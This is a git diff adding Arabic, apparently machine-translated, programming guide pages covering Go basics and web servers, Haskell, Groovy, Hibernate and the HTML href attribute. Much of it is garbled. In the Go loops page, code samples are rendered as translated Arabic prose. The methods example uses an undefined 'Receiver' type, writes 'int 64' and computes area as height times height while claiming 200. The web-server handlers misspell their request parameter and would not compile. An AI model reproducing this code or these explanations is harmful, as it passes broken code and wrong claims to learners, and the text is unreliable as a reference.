+ > go version go1.9.1 linux/amd64 
+` 
+
+سيطبع هذا إلى إصدار وحدة التحكم ، بينما يتأكد في نفس الوقت من أن عملية التثبيت سارت بسلاسة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/installing-go/windows-installer/index.md b/client/src/guide/arabic/go/installing-go/windows-installer/index.md
new file mode 100644
index 0000000000..056bdd54e2
--- /dev/null
+++ b/client/src/guide/arabic/go/installing-go/windows-installer/index.md
@@ -0,0 +1,26 @@
+---
+title: Installing Go in Windows using the MSI Installer
+localeTitle: تثبيت Go في Windows باستخدام MSI Installer
+---
+### تثبيت Go في Windows باستخدام MSI Installer
+
+من [صفحة تنزيل golang](https://golang.org/dl/) ، احصل على مثبت Windows MSI وقم بتشغيله. سيكون عليك الاختيار بين الإصدارات 64 بت و 32 بت. إذا كنت لا تعرف البنية التي يعمل بها إصدار Windows ، فقم بإجراء بحث سريع على Google لمعرفة ذلك.
+
+> معظم الإصدارات الحالية من Windows هي 64 بت ، لذا يجب أن تكون موافقًا للحصول على الإصدار 64 بت في قسم التنزيلات المميز ، ولكن إذا كان الكمبيوتر قديمًا ، فيجب أن يكون الإصدار 32 بت هو الرهان الأكثر أمانًا.
+
+##### 64-بت Windodows المثبت
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/win_installerx64.jpg "ويندوز إكس 64 رابط msi المثبت")
+
+##### 32-بت Windodows المثبت
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/win_installerx86.jpg "x86 نوافذ رابط msi المثبت")
+
+#### تحقق من التثبيت وإصدار من الذهاب
+
+للتحقق مما إذا تم تشغيل go بنجاح ، افتح موجه الأوامر واستخدم:
+
+ `> go version 
+` 
+
+يجب أن يطبع هذا إلى إصدار وحدة التحكم ، بينما يتأكد في نفس الوقت من أن عملية التثبيت سارت بسلاسة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/loops/index.md b/client/src/guide/arabic/go/loops/index.md
new file mode 100644
index 0000000000..b0431f48d6
--- /dev/null
+++ b/client/src/guide/arabic/go/loops/index.md
@@ -0,0 +1,52 @@
+---
+title: Loops
+localeTitle: الحلقات
+---
+# للحلقة في Go
+
+الذهاب لديها سوى `for` حلقة. يحتوي الحلقة الأساسية `for` ثلاثة مكونات مفصولة `;` -
+
+*   العبارة **init** : تم تنفيذها قبل التكرار الأول
+    
+*   تعبير **الشرط** : تم تقييمه قبل كل عملية تكرار
+    
+*   بيان **المشاركة** : تم تنفيذه في نهاية كل تكرار
+    
+
+غالباً ما يكون عبارة **init** عبارة عن إعلان متغير قصير. أعلنت المتغيرات هناك تظهر فقط في نطاق `for` بيان. تتوقف الحلقة عن التكرار بمجرد تقييم الحالة المنطقية إلى false.
+
+مثال على `for` وفيما يلي حلقة -
+
+**for.go**
+
+ `package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+    sum := 0 
+    for i := 0; i <= 10; i++ { 
+        sum += i 
+    } 
+    fmt.Println("The sum of first 10 natural numbers is", sum) 
+ } 
+` 
+
+تشغيل البرنامج أعلاه ينتج مخرجات مشابهة للإخراج التالي - \`\` \`  
+تشغيل $ $ for.go مجموع أول 10 أرقام طبيعية هو 55
+
+ ``You can use `continue` and `break` to adjust the loops flow 
+`` 
+
+اذهب // هذا الرمز يطبع أي أرقام غريبة تصل إلى 5 ل: = 0 ؛ ن <= 10 ؛ ن + { إذا كان n٪ 2 == 0 { // إذا كان الرقم حتى يقفز إلى ن التالية استمر } fmt.Println (ن) // إذا كان الرقم هو 5 الخروج من الحلقة إذا كان n == 5 { استراحة } }
+
+ ``If you want to create an infinite loop just use `for { }` 
+`` 
+
+اذهب إلى عن على { // Whill loop حتى يفصل الشرط عن العروة كسر // الخروج من الحلقة }
+
+ `## Replacement for while-loop 
+ To simulate while-loop of other languages, you can simply exclude the **init** and **post** statement: 
+` 
+
+اذهب func main () { الأسطوانات: = 1 لـ num <= 1000 { num \* = 2 } fmt.Println ("أصغر طاقة تبلغ 2 فوق 1000 هي" ، عدد) } \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/methods/index.md b/client/src/guide/arabic/go/methods/index.md
new file mode 100644
index 0000000000..4bf484e040
--- /dev/null
+++ b/client/src/guide/arabic/go/methods/index.md
@@ -0,0 +1,68 @@
+---
+title: Go Methods
+localeTitle: الذهاب أساليب
+---
## الذهاب أساليب
+
+أنواع Golang يمكن أن يكون لها طرق. الطريقة هي دالة ذات وسيطة خاصة ، _المتلقي_ .
+
+ `type Rectangle struct { 
+  height, width int64 
+ } 
+ 
+ func (r Receiver) getArea() int64 { 
+  return r.height * r.height 
+ } 
+ 
+ r := Rectangle{10, 20} 
+ r.getArea() // 200 
+` 
+
+هنا ، اكتب `Rectangle` قد حصلت على طريقة تسمى `getArea` تقوم بإرجاع مساحة المستطيل. المتلقي هنا هو `r` .
+
+هذا الرمز مكافئ لما يلي:
+
+ `type Rectangle struct { 
+  height, width int64 
+ } 
+ 
+ func getArea(r Receiver) int 64{ 
+  return r.height * r.height 
+ } 
+ 
+ r := Rectangle{10, 20} 
+ getArea(r) // 200 
+` 
+
+الآن يتلقى أسلوب getArea `r` كوسيطة ، بدلاً من جهاز استقبال. الوظيفة مكافئ.
+
+### مؤشر المتلقي
+
+يمكنك تمرير مؤشر كمستقبل:
+
+ `type MyInt int64 
+ 
+ func (m *MyInt) setToZero() { 
+  *m = MyInt(0) 
+ } 
+ 
+ m := MyInt(10) 
+ m.setToZero() // m == 0 
+` 
+
+### طرق التمديد
+
+إذا كنت ترغب في إنشاء طريقة على نوع محدد في حزمة أخرى ، مثل `int` يمكنك استخدام غلاف بسيط مثل:
+
+ `type MyInt int64 
+ 
+ func (m MyInt) add10() int64 { 
+  return m + 10 
+ } 
+ 
+ m := MyInt(10) 
+ m.add10() // 20 
+` 
+
+#### معلومات اكثر:
+
+https://tour.golang.org/methods/1
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/range/index.md b/client/src/guide/arabic/go/range/index.md
new file mode 100644
index 0000000000..6a97b1050f
--- /dev/null
+++ b/client/src/guide/arabic/go/range/index.md
@@ -0,0 +1,60 @@
+---
+title: Range
+localeTitle: نطاق
+---
+## نطاق
+
+للتكرار عبر مجموعة في Go ، يمكننا استخدام النطاق.
+
+يختلف النطاق عن الحلقات المتتالية حيث لا يتم الوصول إلى العنصر في مجموعة بواسطة فهرس.
+
+إذا كنت تريد الوصول إلى عنصر specifc في مجموعة ، فمن المحتمل أن يكون for-loop أفضل الخيارات.
+
+هنا مثال:
+
+ `package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+  fruits := []string{"apple", "orange", "pear"} 
+ 
+  for _, fruit := range fruits { 
+    fmt.Println(fruit) 
+   } 
+ } 
+` 
+
+سوف الناتج:
+
+ `apple 
+ orange 
+ pear 
+` 
+
+ربما لاحظت مُعرِّفًا فارغًا تم استخدامه.
+
+المُعرِّف الفارغ (أو المتغير الأول الذي يتم إرجاعه من النطاق) هو فهرس العنصر.
+
+هذا هو الأنسب عند تحديد موقع الخريطة ، حتى تتمكن من الحصول على المفتاح والقيمة:
+
+ `package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+    kvs := map[string]string{"a": "apple", "b": "banana"} 
+    for k, v := range kvs { 
+        fmt.Printf("%s -> %s\n", k, v) 
+ 
+   } 
+ } 
+` 
+
+اذهب
+
+المخرجات:
+
+ `a -> apple 
+ b -> banana 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/receive-data-with-your-webserver/index.md b/client/src/guide/arabic/go/receive-data-with-your-webserver/index.md
new file mode 100644
index 0000000000..21f0b2e202
--- /dev/null
+++ b/client/src/guide/arabic/go/receive-data-with-your-webserver/index.md
@@ -0,0 +1,64 @@
+---
+title: Receive data with your web server
+localeTitle: تلقي البيانات مع خادم الويب الخاص بك
+---
بمجرد إعداد خادم الويب الخاص بك والتأكد من أنه يمكن أن يقدم بعض المحتويات المفيدة ، قد ترغب في جعله أكثر تفاعلية عن طريق السماح له بقبول البيانات. دعونا نبدأ بكتابة بعض الرموز:
+
+ `package main 
+ 
+ import ( 
+  "net/http" 
+  "html/template" 
+ ) 
+ 
+ type PAGE struct { 
+  NAME string 
+ } 
+ 
+ var page PAGE 
+ 
+ func main() { 
+  http.HandleFunc("/", servePage) 
+  http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  page.NAME = request.FormValue("name") 
+  template := template.New("sayHello") 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+  template.Execute(writer, page) 
+ } 
+` 
+
+دعونا كسر هذا الرمز إلى أسفل. أولاً وقبل كل شيء ، نبدأ باستيراد `net/http` لخادم الويب و `html/template` أجل templating. تفترض هذه المقالة أنك تعرف بالفعل كيفية القالب في Go. إذا كنت لا تعرف هذا حتى الآن ، يجب عليك قراءة المقال حول templating أولاً.
+
+ثم نقوم بإنشاء نوع يسمى `PAGE` ، مع فتحة واحدة تسمى `NAME` (هذه `string` ). كما نقوم أيضًا بإنشاء متغير عالمي يسمى `page` وهو من النوع `PAGE` : البنية التي أنشأناها للتو.
+
+في دالة `servePage` يوجد شيء واحد مهم بالفعل لهذه المقالة: طريقة `FormValue` نستخدمها في `request` .
+
+قبل أن نتابع ، تحتاج أولاً إلى معرفة كيفية إنشاء `URL` . لنأخذ `URL` التالي كمثال:
+
+ `https://google.com/search?q=free+code+camp 
+` 
+
+إذا أدخلت `URL` أعلاه في المتصفح ، فستجري بحثًا في Google عن `free code camp` . تم بناء `URL` على النحو التالي:
+
+1.  `https://` - هذا هو البروتوكول
+2.  `google.com` - هذا هو اسم النطاق والمنفذ (في هذه الحالة لا يوجد منفذ مذكور - لذلك يستخدم المتصفح المنفذ الافتراضي للبروتوكول)
+3.  `/search` - هذا هو المسار
+4.  `q=free+code+camp` - هذا هو `query`
+
+الاستعلام هو الجزء الذي نتحدث عنه في هذه المقالة. يشاهد خادم Google `URL` هذا وبسبب السمة `q` في الاستعلام وقيمة `q` - في هذه الحالة `free+code+camp` - فإنه يعرف المكان الذي يجب البحث عنه.
+
+يمكننا أيضًا تطبيق ذلك على خادمنا. لنطلق البرنامج وننقل المتصفح إلى:
+
+ `http://localhost:8080/?name=world 
+` 
+
+سيكون الرد:
+
+ `Hello world! 
+` 
+
+كيف يعمل هذا؟ حسنًا ، لقد أعطينا `FormValue` معلمة `name` . بهذه الطريقة ، تعلم `FormValue` أننا نريد قيمة سمة `name` في طلب البحث. في هذه الحالة هو `world` ، لذلك الأسلوب يعود `world` . ثم يتم وضع تلك السلسلة في متغير `page` ويقوم القالب بالباقي.
+
+هذا بالطبع تطبيق بسيط لهذه الوظيفة ، ولكن يمكنك القيام بالكثير من الأشياء بها. على سبيل المثال: يمكنك قبول عناوين البريد الإلكتروني والسماح للبرنامج بتخزينها في ملف.
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/structs/index.md b/client/src/guide/arabic/go/structs/index.md
new file mode 100644
index 0000000000..af303ec2fd
--- /dev/null
+++ b/client/src/guide/arabic/go/structs/index.md
@@ -0,0 +1,11 @@
+---
+title: Go Structs
+localeTitle: الذهاب الهياكل
+---
+## الذهاب الهياكل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/go/structs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/switch/index.md b/client/src/guide/arabic/go/switch/index.md
new file mode 100644
index 0000000000..2a14cf894a
--- /dev/null
+++ b/client/src/guide/arabic/go/switch/index.md
@@ -0,0 +1,127 @@
+---
+title: Switch in Go
+localeTitle: التبديل في الذهاب
+---
# التبديل في الذهاب
+
+بيان التبديل العودة هو بديل ل `if` . يستخدم بناء الجملة التالي:
+
+ `fruit := "apple" 
+ switch fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+` 
+
+سيكون إخراج هذا البرنامج `Red and round.` .
+
+أولا ، نعلن `fruit` `apple` كما `apple` . ثم نستخدم متغير `fruit` كتعبير الشرط. يذهب Go يقارن قيمة `fruit` مع `cases` المقدمة مثل هذا:
+
+*   الفاكهة == "الموز" (كاذبة)
+*   الفاكهة == "التفاح" (صحيح)
+
+لم يتم اختبار `lemon` . بعد عودة التقييم ، لا يتم محاكمة أي حالات أخرى.
+
+كما في `if` ، يمكنك تعريف المتغيرات المؤقتة على تعبير حالة switch\`s:
+
+ `switch fruit := "apple"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+` 
+
+لن يمكن الوصول إلى `fruit` المتغيرة خارج بيان التبديل.
+
+## الافتراضي وحالات أخرى
+
+### افتراضي
+
+الكلمة الأساسية `default` هي حالة الرجوع إلى الخلف عندما لا تعود أي حالات أخرى صحيحة:
+
+ `switch fruit := "grape"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+    default: 
+        fmt.Printf("New fruit: %s!", fruit) 
+ } 
+` 
+
+سيكون إخراج هذا البرنامج `New fruit: grape!` .
+
+### نفس الإجراء لقيم مختلفة
+
+قائمة قيم مفصولة بفواصل لمقارنة قيمة تعبير الشرط مع نفس الإجراء.
+
+ `switch fruit := "lemon"; fruit { 
+    case "banana", "lemon": 
+        fmt.Printf("Yellow fruit.") 
+    default: 
+        fmt.Printf("This fruit is a color different than yellow.") 
+ } 
+` 
+
+الإخراج: `Yellow fruit.` .
+
+### لا تعبير
+
+التبديل بدون أي تعبير يعني `switch true` . هذه نسخة بديلة لسلسلة أخرى.
+
+ `fruit := "banana" 
+ switch { 
+    case fruit == "banana": 
+        fmt.Printf("Yellow and long.") 
+    default: 
+        fmt.Printf("This is not a banana.") 
+ } 
+` 
+
+هذا تقييم `true == (fruit == "banana")` ، simpliefied إلى `true == true` ، والتي ترجع true.
+
+### استراحة
+
+يمكنك كسر التعليمات البرمجية في بيان تبديل لتخطي أي تعليمات برمجية أكثر.
+
+ `appleColor := "green" 
+ switch fruit := "apple"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        if appleColor == "green" { 
+            fmt.Printf("This apple is green!") 
+            break 
+        } 
+        fmt.Printf("This apple is tasty!") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+` 
+
+الإخراج: `This apple is green!` .
+
+### وقع خلال
+
+انتقل إلى الحالة التالية ، سواء تم تقييم حالته إلى true.
+
+ `switch fruit := "banana"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+        fallthrough 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+` 
+
+الإخراج: `Yellow and long.` `Red and round.` .
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/the-zero-value/index.md b/client/src/guide/arabic/go/the-zero-value/index.md
new file mode 100644
index 0000000000..72bfd2fef6
--- /dev/null
+++ b/client/src/guide/arabic/go/the-zero-value/index.md
@@ -0,0 +1,30 @@
+---
+title: The Zero Value
+localeTitle: القيمة صفر
+---
+## القيمة صفر
+
+فهم بعض القيم الصفرية داخل Golang:
+
+1.  خاطئة للبوليانيين
+2.  0 للأعداد الصحيحة
+3.  0.0 للعوامات
+4.  "" للسلاسل
+5.  لا شيء ل
+
+*   مؤشرات
+*   المهام
+*   واجهات
+*   شرائح
+*   قنوات
+*   خرائط
+
+من فضلك ، استخدم مشغل الإعلان القصير قدر الإمكان.
+
+*   استخدام var لـ:
+    
+*   قيمة الصفر
+    
+*   نطاق الحزمة
+    
+    ### معلومات اكثر
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/use-templates-with-your-webserver/index.md b/client/src/guide/arabic/go/use-templates-with-your-webserver/index.md
new file mode 100644
index 0000000000..17ad301e18
--- /dev/null
+++ b/client/src/guide/arabic/go/use-templates-with-your-webserver/index.md
@@ -0,0 +1,69 @@
+---
+title: Using templates with your web server
+localeTitle: باستخدام القوالب مع خادم الويب الخاص بك
+---
عندما يكون لديك خادم ويب ، قد ترغب في إدراج البيانات في ردودك. دعونا نرى بعض التعليمات البرمجية:
+
+ `package main 
+ 
+ import ( 
+  "net/http" 
+  "html/template" 
+ ) 
+ 
+ type PAGE struct { 
+  NAME string 
+ } 
+ 
+ var page PAGE 
+ 
+ func main() { 
+  page.NAME = "Mark" 
+  http.HandleFunc("/", servePage) 
+  http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  template := template.New("sayHello") 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+  template.Execute(writer, page) 
+ } 
+` 
+
+الآن أطلق هذا البرنامج وتصفح متصفحك من أجل:
+
+ `http://localhost:8080/ 
+` 
+
+سيكون الرد:
+
+ `Hello Mark! 
+` 
+
+ولكن كيف يعمل هذا وما يفعله الرمز؟ حسنا ، أولا وقبل كل شيء نستورد حزمة `net/http` حتى نتمكن من تشغيل خادم الويب. ثم نستورد حزمة `html/template` . يتيح هذا ميزة تسمى templating؛ وهذا هو المكان الذي تدور حوله هذه المقالة.
+
+نقوم أيضًا بإنشاء نوع يسمى `PAGE` ، والذي يحتوي على حقل واحد يسمى `NAME` `string` . كما نقوم أيضًا بإنشاء متغير عالمي يسمى `page` من النوع `PAGE` ، البنية التي أنشأناها للتو. في الوظيفة `main` نمنح حقل `NAME` `page` قيمة `Mark` - اسمي ، ولكن لا تتردد في استخدام اسمك!
+
+وظيفة `servePage` صعبة بعض الشيء في البداية. لنأخذها على حدة:
+
+ `func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+ 
+  // 1. Creating a template 
+  template := template.New("sayHello") 
+ 
+  // 2. Filling the template 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+ 
+  // 3. Executing the template 
+  template.Execute(writer, page) 
+ } 
+` 
+
+ماذا نفعل هنا؟ دعونا نرى خطوة بخطوة:
+
+1.  نحن نخلق _قالب_ . تحتاج إلى إدخال اسم ، ولكن لا يهم ما الاسم الذي تختاره حقًا. هنا اخترت `sayHello` .
+2.  ثم نقوم بملء القالب ببعض النص. يرجى الإحاطة علما بـ `{{.NAME}}` .
+3.  وأخيرًا ، نقوم _بتنفيذ_ القالب. هذا يعني أنه تم ملء القالب وإرساله إلى العميل.
+
+لكن كيف نذهب من `{{.NAME}}` إلى `Mark` ؟ حسنًا ، تذكر أننا استخدمنا متغير `page` كمعلمة لأسلوب `Execute` ؟ تبحث هذه الطريقة في البيانات الموجودة في القالب وترى `{{.NAME}}` . يشير `.NAME` إلى أنه يجب أن يبحث عن حقل يسمى `NAME` داخل المتغير الذي تم تحديده كمعلمة عند استدعاء `Execute` . في هذه الحالة ، يجد هذا الحقل ويحيط علما بأن القيمة هي `Mark` . يخبر `{{` و `}}` `Execute` أنه يجب استبدال `{{.NAME}}` بالقيمة التي وجدها. وبالتالي فإن النتيجة النهائية سوف تصبح `Hello Mark!` .
+
+يمكن أن يكون لديك حقول متعددة `{{.XXX}}` . هذه طريقة سهلة للغاية يمكنك إدراج البيانات في الردود ، وتعرف الآن كيفية عمل قالب في Go!
\ No newline at end of file
diff --git a/client/src/guide/arabic/go/variadic-functions/index.md b/client/src/guide/arabic/go/variadic-functions/index.md
new file mode 100644
index 0000000000..03e414bf12
--- /dev/null
+++ b/client/src/guide/arabic/go/variadic-functions/index.md
@@ -0,0 +1,57 @@
+---
+title: Variadic Functions
+localeTitle: وظائف متنوعة
+---
+## وظائف متنوعة
+
+الدوال Variadic هي دالات يمكن استدعاؤها مع أي عدد من الوسيطات اللاحقة.
+
+هذه ميزة مفيدة عندما نعمل على تطبيقات الويب.
+
+في بعض الأحيان ، لا نحتاج إلى عدد العناصر التي سنحتاج إلى تمريرها إلى محرك HTML الخاص بالتخطيط.
+
+فيما يلي الأساسيات حول كيفية عمل الدوال varidic:
+
+ `package main 
+ import "fmt" 
+ 
+ func printFruits(fruits ...string) { 
+    for _, fruit := range fruits{ 
+        fmt.Println(fruit) 
+    } 
+ } 
+ 
+ func main() { 
+   printFruits("apple", "bannana") 
+   printFruits("papaya", "coconut", "pear", "pineapple") 
+   berries := []string{"blueberry", "strawberry", "raspberry"} 
+   printFruits(berries...) 
+ } 
+` 
+
+أولاً ، في printFruits قمنا بتعريف عدد الوسيطات باستخدام \[… string\].
+
+يخبر هذا Go أن هذه الدالة تقبل أي عدد من وسائط السلسلة.
+
+تظهر أول مكالمتين للطباعة printFruits أن الدالة ستقوم بطباعة كل سلسلة ، حتى إذا كنا نجتاز عددًا مختلفًا من الوسيطات.
+
+ `apple 
+ bannana 
+ ... 
+ papaya 
+ coconut 
+ pear 
+ ... 
+` 
+
+هذا سوف يعمل أيضا لشرائح.
+
+لاستخدام وظيفة vardiac مع شريحة ، نضيف نقاط التدريب إلى المكالمة.
+
+ `printFruits(berries...) 
+` 
+
+ `blueberry 
+ strawberry 
+ raspberry 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/groovy/index.md b/client/src/guide/arabic/groovy/index.md
new file mode 100644
index 0000000000..f2a0ebaccf
--- /dev/null
+++ b/client/src/guide/arabic/groovy/index.md
@@ -0,0 +1,11 @@
+---
+title: Groovy
+localeTitle: رائع
+---
+## رائع
+
+إن Apache Groovy أو Groovy هي لغة قوية وديناميكية مع إمكانات التجميع والكتابة الثابتة لمنصة Java ، وقد تم تصميمها لزيادة الإنتاجية بفضل تركيبتها المألوفة والموجودة. أنه يدمج مع أي برنامج جافا بكل سهولة.
+
+#### معلومات اكثر:
+
+للحصول على وثائق ومزيد من المعلومات ، قم بزيارة [الموقع الرسمي لـ Groovy](http://groovy-lang.org)
\ No newline at end of file
diff --git a/client/src/guide/arabic/haskell/hello-world/index.md b/client/src/guide/arabic/haskell/hello-world/index.md
new file mode 100644
index 0000000000..148cda6867
--- /dev/null
+++ b/client/src/guide/arabic/haskell/hello-world/index.md
@@ -0,0 +1,22 @@
+---
+title: Hello World Program
+localeTitle: مرحبا بالبرنامج العالمي
+---
+## أبسط برنامج مرحبا العالم في هاسكل
+
+ `main :: IO () 
+ main = do 
+    putStrLn "Hello World" 
+` 
+
+## مرحبا العالم باستخدام تكوين الدالة
+
+ `hello :: String 
+ hello = "Hello World" 
+ 
+ printer :: String -> IO () 
+ printer = putStrLn . show 
+ 
+ main :: IO () 
+ main = printer hello 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/haskell/index.md b/client/src/guide/arabic/haskell/index.md
new file mode 100644
index 0000000000..5be3c68dba
--- /dev/null
+++ b/client/src/guide/arabic/haskell/index.md
@@ -0,0 +1,50 @@
+---
+title: Haskell
+localeTitle: هاسكل
+---
+## ما هو هاسكل؟
+
+هاسكل هي لغة برمجة موحدة وعامة الغرض ، بحتة مع كتابة ثابتة وقوية ثابتة.
+
+لدى هاسكل جذور عميقة في الرياضيات ، وسوف تتعلم قريباً تقدير الآثار المترتبة عليها.
+
+## الإصدار
+
+الإصدار الأخير حاليًا من GHC هو 8.6 (اعتبارًا من 12 تشرين الأول 2018)
+
+## التركيب
+
+الطريقة الموصى بها لتثبيت Haskell هي باستخدام مكدس stack: [تنزيل](https://docs.haskellstack.org/en/stable/README/#how-to-install) برنامج Stack هو برنامج متعدد المنصات لتطوير مشاريع هاسكل. ويهدف إلى Haskellers على حد سواء الجديدة وذوي الخبرة.
+
+للبدء فعليًا في استخدام Haskell فأنت بحاجة إلى GHC (The Glasgow Haskell Compiler) ، وذلك لإعداد: [إعداد المكدس](https://docs.haskellstack.org/en/stable/README/#how-to-install://docs.haskellstack.org/en/stable/README/#quick-start-guide)
+
+ `stack new my-project 
+ cd my-project 
+ stack setup 
+ stack build 
+ stack exec my-project-exe 
+` 
+
+كلمة الحذر ، حاول عدم استخدام تثبيت مكدس على الرغم من أنه سيتم تثبيت الحزمة على مستوى العالم ، إلا أنه لا يوصى بهذا لأن إصدارات مختلفة من الحزم متوافقة مع الإصدارات المختلفة من GHC. وبالتالي ، فإن استخدام النسخة المحلية من الحزمة باستخدام بنية المكدس هو أفضل طريقة للمتابعة.
+
+## مرحبا بالعالم
+
+ `main :: IO () 
+ main = print "Hello Haskell :)" 
+` 
+
+احفظ فوق الرمز في ملف يسمى "hello.hs" واحفظه.
+
+لتجميع مثال Hello World ، سيؤدي هذا إلى تحويل شفرة haskell الخاصة بنا إلى رموز بايت مفهومة.
+
+ `stack ghc hello.hs 
+ ./hello 
+` 
+
+## كابل بيانات
+
+يوفر Hackage وثائق لـ Haskell
+
+## تريد معرفة المزيد؟
+
+*   هاسكل [رابط](https://wiki.haskell.org/Haskell) ويكي
\ No newline at end of file
diff --git a/client/src/guide/arabic/haskell/misc/index.md b/client/src/guide/arabic/haskell/misc/index.md
new file mode 100644
index 0000000000..3ce9404093
--- /dev/null
+++ b/client/src/guide/arabic/haskell/misc/index.md
@@ -0,0 +1,16 @@
+---
+title: miscellaneous
+localeTitle: متنوع
+---
+عندما تكون مرتاحًا لكيفية عمل هاسكل لك
+
+## hoogle
+
+إنها مثل جوجل ولكن لمكتبات هاسكل
+
+لتثبيت تطبيق hoogle مع الرصة:
+
+ `    stack build hoogle 
+` 
+
+## لامدا بوت
\ No newline at end of file
diff --git a/client/src/guide/arabic/haskell/monad/index.md b/client/src/guide/arabic/haskell/monad/index.md
new file mode 100644
index 0000000000..ee1f570b31
--- /dev/null
+++ b/client/src/guide/arabic/haskell/monad/index.md
@@ -0,0 +1,24 @@
+---
+title: Monad
+localeTitle: الكائن الدقيق الاحادي الخلية
+---
+# قوانين موناد
+
+هناك 3 قوانين يجب استيفائها بنوع بيانات ليتم اعتبارها موناد
+
+# ربما موناد
+
+ `justHead :: Maybe Char 
+ justHead = do 
+    (x:xs) <- Just "" 
+    return x 
+` 
+
+# قائمة مناد
+
+العودة هي نفسها نقية من التطبيقية
+
+سبيل المثال موناد \[\] أين  
+return x = \[x\]  
+xs >> = f = concat (map f xs)  
+فشل \_ = \[\]
\ No newline at end of file
diff --git a/client/src/guide/arabic/hibernate/index.md b/client/src/guide/arabic/hibernate/index.md
new file mode 100644
index 0000000000..4e10d1b394
--- /dev/null
+++ b/client/src/guide/arabic/hibernate/index.md
@@ -0,0 +1,11 @@
+---
+title: Hibernate
+localeTitle: بيات شتوى
+---
+## بيات شتوى
+
+الإسبات ORM ، المعروف باسم Hibernate (أداة Hibernate) عبارة عن أداة لرسم الكائن-الارتباط لـ Java. يوفر نظام لتعيين طرازات مجال كائن موجهة إلى قواعد البيانات العلائقية. انها تمتلك العديد من وظائف التعامل مع وجوه عالية المستوى.
+
+#### معلومات اكثر:
+
+للحصول على الوثائق والتنزيلات ، تفضل بزيارة موقع [Hibernate الرسمي](https://hibernate.org)
\ No newline at end of file
diff --git a/client/src/guide/arabic/html/attributes/a-href-attribute/index.md b/client/src/guide/arabic/html/attributes/a-href-attribute/index.md
new file mode 100644
index 0000000000..79e79e06c2
--- /dev/null
+++ b/client/src/guide/arabic/html/attributes/a-href-attribute/index.md
@@ -0,0 +1,73 @@
+---
+title: A Href Attribute
+localeTitle: سمة Href
+---
+## سمة Href
+
+تشير السمة `<a href>` إلى وجهة مقدمة من خلال رابط. `a` (الارتساء) ميتة بدون السمة `<href>` . في بعض الأحيان في سير عملك ، لا تريد رابطًا مباشرًا أو لن تعرف وجهة الارتباط بعد. في هذه الحالة ، من المفيد تعيين سمة `href` إلى `"#"` لإنشاء رابط ميت. يمكن استخدام `href` للربط بالملفات أو الملفات المحلية على الإنترنت.
+
+على سبيل المثال:
+
+ `
+<html> 
+  <head> 
+    <title>Href Attribute Example</title> 
+  </head> 
+  <body> 
+    <h1>Href Attribute Example</h1> 
+      <p> 
+        <a href="https://www.freecodecamp.org/contribute/">The freeCodeCamp Contribution Page</a> shows you how and where you can contribute to freeCodeCamp's community and growth. 
+      </p> 
+    </h1> 
+  </body> 
+ </html> 
+` 
+
+يتم دعم سمة `<a href>` بواسطة جميع المتصفحات.
+
+#### المزيد من السمات:
+
+`hreflang` : يحدد لغة المصدر المرتبط. `target` : لتحديد السياق الذي سيتم فتح المورد المرتبط فيه. `title` : لتحديد عنوان رابط ، يظهر للمستخدم باعتباره تلميح أداة.
+
+### أمثلة
+
+ `
+<a href="#">This is a dead link</a> 
+ <a href="https://www.freecodecamp.org">This is a live link to freeCodeCamp</a> 
+ <a href="https://html.com/attributes/a-href/">more with a href attribute</a> 
+` 
+
+### المراسي في الصفحة
+
+من الممكن أيضًا تعيين مرساة لمكان معين من الصفحة. لإجراء ذلك ، يجب عليك أولاً وضع علامة تبويب في الموقع على الصفحة التي تحتوي على العلامة والسمة "الاسم" الضرورية مع أي وصف للكلمة الرئيسية ، مثل:
+
+ `
+<a name="top"></a> 
+` 
+
+أي وصف بين العلامات غير مطلوب. بعد ذلك يمكنك وضع رابط يؤدي إلى هذا الارتساء في أي مكان في نفس الصفحة. للقيام بذلك ، يجب عليك استخدام العلامة ذات السمة الضرورية "href" مع الرمز # (حاد) ووصف الكلمة الرئيسية للربط ، مثل هذا:
+
+ `
+<a href="#top">Go to Top</a> 
+` 
+
+### روابط الصور
+
+يمكن أيضًا تطبيق `<a href="#">` على الصور وعناصر HTML الأخرى.
+
+### مثال
+
+ `
